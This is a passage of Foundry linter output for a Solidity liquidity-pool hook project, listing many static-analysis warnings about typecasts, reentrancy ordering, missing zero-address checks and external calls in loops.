src/libraries/OrbitalMath.sol:233:41\n    │\n233 │             if (-disc > sumAB * sumAB / int256(WAD) + 1e20) return (false, 0, 0);\n    │                                         ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:236:23\n    │\n236 │         int256 root = int256(sqrt(uint256(disc)));\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:236:35\n    │\n236 │         int256 root = int256(sqrt(uint256(disc)));\n    │                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:240:23\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                       ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:240:40\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                                        ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n    ╭▸ src/OrbitalHook.sol:593:9\n    │\n593 │         owner = newOwner;\n    │         ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:180:9\n    │\n180 │         emit FeedUpdated(old, newFeed);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:201:23\n    │\n201 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n    │                       ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:98:9\n   │\n98 │         owner = newOwner;\n   │         ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:53:56\n   │\n53 │     constructor(address _callbackProxy, address _hook, address _rvmId) payable {\n   │                                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:79:9\n   │\n79 │         emit DepegPauseTriggered(feed, price, roundId);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:90:23\n   │\n90 │     function setRvmId(address _rvmId) external onlyOwner {\n   │                       ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/reactive/OrbitalDepegCallback.sol:109:23\n    │\n109 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n    │                       ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:186:9\n    │\n186 │         address _guardian,\n    │         ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:207:56\n    │\n207 │             if (t == address(0) || tokenIndex[t] != 0) revert InvalidTokens();\n    │                                                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:209:27\n    │\n209 │             if (dec > 18) revert InvalidTokens();\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:223:53\n    │\n223 │             if (k <= kMin || k > kMax || k <= prev) revert InvalidLevels();\n    │                                                     ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:104:32\n    │\n104 │         if (kNorm >= sqrtNWad) revert MathOverflow();\n    │                                ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:107:23\n    │\n107 │         if (d2 > WAD) revert MathOverflow();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:276:56\n    │\n276 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                        ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:276:77\n    │\n276 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                                             ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:277:44\n    │\n277 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:277:59\n    │\n277 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:311:23\n    │\n311 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:311:58\n    │\n311 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:33\n    │\n321 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                 ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:40\n    │\n321 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:58\n    │\n321 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:65\n    │\n321 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                                 ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:322:34\n    │\n322 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:322:41\n    │\n322 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                         ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:322:59\n    │\n322 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                           ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:322:66\n    │\n322 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                                  ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:355:30\n    │\n355 │             x[j] += wadOut - rawOut * _scale[j]; // rounding dust stays in the pool\n    │                              ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:365:21\n    │\n365 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:365:29\n    │\n365 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:365:68\n    │\n365 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:365:76\n    │\n365 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                            ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `totalRadius` is updated\n    ╭▸ src/OrbitalHook.sol:499:13\n    │\n499 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:406:9\n    │\n406 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:407:9\n    │\n407 │         emit Deposit(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:393:45\n    │\n393 │             if (amounts[k] > maxAmounts[k]) revert SlippageExceeded();\n    │                                             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:406:9\n    │\n406 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `positions` is updated\n    ╭▸ src/OrbitalHook.sol:499:13\n    │\n499 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:466:9\n    │\n466 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:552:16\n    │\n552 │         return poolManager.balanceOf(address(this), uint256(uint160(_tokens[k])));\n    │                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:467:9\n    │\n467 │         emit Withdraw(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:450:38\n    │\n450 │             if (raw < minAmounts[k]) revert SlippageExceeded();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:466:9\n    │\n466 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:478:9\n    │\n478 │         poolManager.transferFrom(msg.sender, address(this), uint256(uint160(token)), amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:481:9\n    │\n481 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Redeem, account: to, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:482:9\n    │\n482 │         emit ClaimsRedeemed(msg.sender, token, amount, to);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:478:9\n    │\n478 │         poolManager.transferFrom(msg.sender, address(this), uint256(uint160(token)), amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:481:9\n    │\n481 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Redeem, account: to, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:499:13\n    │\n499 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:500:13\n    │\n500 │             emit FeesCollected(lp, levelId, amounts);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:499:13\n    │\n499 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:529:17\n    │\n529 │                 poolManager.sync(c);\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n     ╭▸ src/OrbitalHook.sol:1084:39\n     │\n1084 │         (bool ok, bytes memory ret) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, amount)); // transferFrom\n     │                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:531:17\n    │\n531 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:532:17\n    │\n532 │                 poolManager.mint(address(this), c.toId(), amount);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:538:21\n    │\n538 │                 try poolManager.take(c, data.account, amount) {\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:539:21\n    │\n539 │                     poolManager.burn(address(this), c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:542:21\n    │\n542 │                     poolManager.transfer(data.account, c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:543:21\n    │\n543 │                     emit ClaimsDelivered(data.account, _tokens[k], amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1085:93\n     │\n1085 │         if (!ok || (ret.length != 0 && !abi.decode(ret, (bool))) || token.code.length == 0) revert TransferFailed();\n     │                                                                                             ━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:541:55\n    │\n541 │                     if (data.action == Action.Redeem) revert TransferFailed();\n    │                                                       ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:531:17\n    │\n531 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:542:21\n    │\n542 │                     poolManager.transfer(data.account, c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:579:26\n    │\n579 │     function setGuardian(address _guardian) external onlyOwner {\n    │                          ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: 